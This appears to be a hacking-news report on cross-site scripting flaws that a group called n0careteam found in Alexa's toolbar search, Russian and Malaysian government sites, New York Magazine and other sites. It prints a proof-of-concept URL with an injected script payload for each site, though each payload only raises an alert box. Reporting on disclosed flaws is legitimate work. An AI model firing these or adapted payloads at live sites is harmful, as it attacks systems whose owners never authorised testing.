A hacker named as kuksool from the hacker group "n0careteam" has discovered a Cross Site scripting vulnerability in the Alexa website -A California-based subsidiary company of Amazon.com that provides infromation about websites including Internet traffic stats, rank.

The vulnerability exists in the Alexa Toolbar search page(search.toolbars.alexa.com) - A custom search provided by Google.

If you have installed the toolbar in your browser & inject this script in the search box, it successfully executes the given script:

"><script>alert(" E Hacking News")</script>

Xss in Alexa Toolbar Search

POC:

http://search.toolbars.alexa.com/?q="><script>alert("+E+Hacking+News")</script>

Recently the same hacker group discovered XSS vulnerability in high profile websites including Russian and Malaysia Government sites, Music.com, New York Magazine.

Hacker group "n0caReTeAm" discovered XSS Vulnerability in Russian and Malysia Government sites.  In the past they found vulnerability in some high profile sites and government sites.

Two Russian sites(Russia's electronic system for public tendering, The Ministery of the Russian Federation) and one Malaysia site(Malysia Merchandise External Trade Statistics System) are notified as vulnerable to Cross site scripting.

Vulnerable sites:

• www.mchs.gov.ru
• zakupki.gov.ru
• intranet.stats.gov.my

They exposed the Vulnerability in Pastebin:
http://pastebin.com/y6HL6FFv

Hacker Group "n0caReTeAm" discovered cross site scripting  vulnerability in  The New York Magazin, programmersheaven, openwebdesign websites.


Poc:
http://nymag.com/search/search.cgi?fd=All&Ns=Relevance|0&search_type=sw&N=0&textquery=%22%3E%3Cscript%3Ealert%28String.fromCharCode%28110%2C+48%2C+99%2C+97%2C+82%2C+101%2C+84%2C+101%2C+65%2C+109%2C+32%2C+88%2C+115%2C+115%29%29%3C%2Fscript%3E&x=18&y=16&scope=sc-all


http://www.openwebdesign.org/viewdesign.phtml?id=6216&referer=%2Fbrowse.php%22%3E%3Cscript%3Ealert%28String.fromCharCode%28110,%2048,%2099,%2097,%2082,%20101,%2084,%20101,%2065,%20109,%2032,%2088,%20115,%20115%29%29%3C/script%3E


http://www.programmersheaven.com/search/results/?cx=partner-pub-8629231900604628%3Ayi7bwia17xq&cof=FORID%3A10&ie=ISO-8859-1&as_q=%22%3E%3Cscript%3Ealert%28String.fromCharCode%28110%2C+48%2C+99%2C+97%2C+82%2C+101%2C+84%2C+101%2C+65%2C+109%2C+32%2C+88%2C+115%2C+115%29%29%3C%2Fscript%3E&sa=Search